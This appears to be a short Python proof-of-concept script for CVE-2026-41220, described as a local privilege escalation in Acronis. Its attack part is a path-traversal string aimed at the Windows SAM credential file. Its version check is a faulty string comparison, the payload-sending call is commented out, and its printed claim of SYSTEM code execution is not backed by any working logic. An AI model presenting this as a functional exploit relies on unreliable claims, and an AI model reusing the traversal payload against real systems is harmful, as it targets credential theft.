CVE-2026-41220

# PoC for CVE-2026-41220: Acronis Local Privilege Escalation # This is a conceptual demonstration of improper input validation leading to LPE. import os import ctypes def check_vulnerability(): # Hypothetical check for vulnerable versions version = "9.0.93000" # Example vulnerable version if version < "9.0.93212": return True return False def exploit_attempt(): """ Attempt to trigger the vulnerability by sending malformed input to the vulnerable Acronis service component. """ if not check_vulnerability(): print("[-] Target is not vulnerable.") return print("[+] Target appears vulnerable.") # Simulating the malicious payload # In a real scenario, this would interact with the vulnerable API/Driver malicious_input = "..\\..\\..\\windows\\system32\\config\\SAM" try: # Placeholder for the actual exploit logic (e.g., IOCTL, File write) # send_payload_to_service(malicious_input) print(f"[+] Sending payload: {malicious_input}") print("[+] If successful, code would execute with SYSTEM privileges.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": exploit_attempt()

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